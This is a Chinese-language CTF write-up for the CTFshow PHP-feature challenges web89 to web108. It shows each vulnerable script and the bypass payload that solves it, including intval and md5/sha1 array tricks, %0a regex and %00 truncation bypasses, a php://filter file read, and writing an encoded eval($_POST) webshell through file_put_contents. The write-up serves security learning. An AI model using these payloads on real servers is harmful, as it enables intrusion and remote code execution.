CTFSHOW PHP特性部分WP
web89:
题目:
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
isset:检测变量是否存在
intval:语法是intval (var, base),var是变量,base是要转换成的进制数,返回int型数值,如果base是0则自动检测0x或0b类型转换为10进制,intval不能检测数组或类
因此这道题目可以用数组绕过
playload:num[]=
web90:
题目:
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
这里用到的函数和上一个题目一样,主要是考察intval:
intval(var,base),如果base是0,那么看var是否有0x或者0b,有就自动将二进制,16进制,转换成10进制,如果没有,则默认为10进制,并且返回int型
贴出playload:
?num=4476.1(只要是小数就行,int返回4476,可以绕过)
?num=0b1000101111100(二进制)
?num=0x117c(十六进制)
web91
$ 也匹配 ‘\n’ 或 ‘\r’
/i (忽略大小写)
/g (全文查找出现的所有匹配字符)
/m (多行查找)
/gi(全文查找、忽略大小写)
/ig(全文查找、忽略大小写)
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
这个题目主要考察我们对正则表达式的理解:
$ 也匹配 '\n' 或 '\r'
/i (忽略大小写)
/g (全文查找出现的所有匹配字符)
/m (多行查找)
/gi(全文查找、忽略大小写)
/ig(全文查找、忽略大小写)
^php表示从一开始p开始进行匹配php,$表示从开始到结束
而m决定了是否多行匹配(类似于全文查找,但是没有全文查找那么好用)
因此:
要匹配多行匹配的表达式,不匹配单行表达式
给出playload:
?cmd=%0aphp
web92、93、94、95
考察点都是上面两个题,这里不写了
web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
highlight:指定要显示文件的内容
那这个题目思路很明确,就是要读取flag.php
我的思路:用filter伪协议读取:
playload:?u=php://filter/read=convert.base64-encode/resource=flag.php。然后base64编码一下就可以了
羽师傅的方法:
/var/www/html/flag.php 绝对路径
./flag.php 相对路径
php://filter/resource=flag.php php伪协议
web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
这个就很简单了,考察值不相同但是md5相同
但是注意这里是强相等,因此普通的==md5就不能用了,因为是强相等,所以我们采用数组绕过
给出playload:a[]=1&b[]=2
web98:不会
题目:
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
这个我最开始没有看懂,这里引用官方的WP
大致意思就是 通过三目运算符把GET请求变为POST请求
然后匹配
web99:
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
了解一下几个函数的意思:
array_push:
<?php
$a=array("red","green");
array_push($a,"blue","yellow");
print_r($a);
?>
Array ( [0] => red [1] => green [2] => blue [3] => yellow )
in_array:
in_array("Runoob", $sites):在sites里面搜索Runood,存在则返回1
file_put_contents() 函数把一个字符串写入文件中
file_put_contents在CTF是经常利用的漏洞:我们可以写一句话木马进去,然后蚁剑连接即可
给出playload:
GET:n=1.php
POST:<?php eval($_POST[1]);?)>
web100、101:
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
思路:看了整个代码,能够拿来被我们利用的就是:eval
eval里面是可以进行内联注释的,但是这里我们先试着去拼接命令。
方法一:var_dump打印类:
var_dump作用:
<?PHP
$a = "alsdflasdf;a";
$b = var_dump($a);
echo "<br>";
//var_dump($c);
$d=var_dump($c);
$e=var_dump(ctfshow);
echo "<br>";
echo $a;
echo "<br>";
echo $b;
echo "<br>";
echo $e;
输出:
string(12) "alsdflasdf;a"
NULL
alsdflasdf;a
string(7);ctfshow
所以这里我们就可以采用var_dump拼接。
其次因为“=”的优先性高于and
所以v1=数字就可以绕过,v2,v3拼我们的命令
给出playload:
v1=1&v2=var_dump($ctfshow)v3=;
这里拼接完成之后是 eval(var_dump($ctfshow)ctfshow;)
貌似那个ctfshow影响不是很大
方便更好的理解,我们就采用内联注释符注释掉就好
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
这样也是正确的
羽师傅的WP:
最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass(‘ctfshow’);
payload:?v1=1&v2=echo new ReflectionClass&v3=;
web102:
substr(string,start,length):start必须,表示从第几个字符开始(0开始计数);length非必须,表示截取的长度
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
这道题目我自己本身是没有做出来(很多都是后面看WP看懂的)
思路:最开始看见了file_put_contents一下想到的是写一句话木马蚁剑连接,之后看见str字符串是经过一个call_user_func函数了,自己没有想到使用什么内置函数。
正确做法:首先is_numeric判断我们传入的V2是不是数字,那这里我就用16进制转换,然后恰好后面substr可以截取我的0x,我再调用hex2b内置函数把我的16进制转换成字符串,就可以写进去了,这里给出playload
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
看似没有什么大问题,但是,我页面老是返回我HACKER,说明我连is_numeric都没有通过,然后其他师傅们的WP里面说,
在php7版本里面,16进制不会被识别为数字,在php5版本里面,是可以的。
!!危 这里出大问题,那怎么办
正确做法:既然file_get_contents是把php代码写入页面里面,那我可不可以把页面转换成64进制,然后写一个64进制进去呢?这样效果还是大同小异的把。
开干:
用filter读取base64编码,V2我们先base64,再转换成16,这样就没有字母了,就绕过了。
给出这道题目最终正确得playload:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
web 103、106:
这个题目和查看源代码一样简单:
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
出题人失误了把,没有判断v1!=v2,直接传入两个相等的值判断是否相等就好了
!出题人不失误了!
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
之前我们遇到的是md5,这里我们遇到的是sha1,这两个有个共同的特点就是:无法处理数组,因此我们可以直接数组进行绕过,当然,也有sha1相等但是值不相等的
给出playload:
GET:v2[]=1 POST:v1[]=3
sha1相等但是值不相等的:
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
自己挑把
web 105:
考察 变量覆盖,看是看懂了,但是还是有点没懂,我就不误人子弟了
web107:
parse_str:
<!DOCTYPE html>
<html>
<body>
<?php
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
?>
</body>
</html>
这下应该懂了把,将字符串解析成变量
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
题目考察parse_str这个函数,这个函数上面已经给出意思了,就是把字符串解析成变量传给v2,那这里当时没有做出来的原因主要是,不知道可以写成v1=flag=c4ca4238a0b923820dcc509a6f75849b(1的ma5值)
后来看WP看明白了,那就很简单了,直接给出playload
:
v1=flag=c4ca4238a0b923820dcc509a6f75849b v2=1
web108
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
$email_id = "admin@tutorialspoint.com";
$retval = ereg("(\.)(com$)", $email_id);
if( $retval == true )
{
echo "Found a .com<br>";
}
else
{
echo "Could not found a .com<br>";
}
echo Found a .com
strrev:反串字符串
<?php
echo strrev("I love Shanghai!");
?>
echo !iahgnahS evol I
intval() 函数:通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
这个题目最开始我的思路是:
ereg是正则匹配,必须是字母,0x36d的32进制恰好也是字母,然后strrev会反转字符串,前面两个都达成了,最后一个 intval识别不了32进制,没办法,这个方法不行
看了师傅们的WP ,是这样的:
%00截断 给出playload:a%00778
经过反转:877%00a
playload: c=a%00778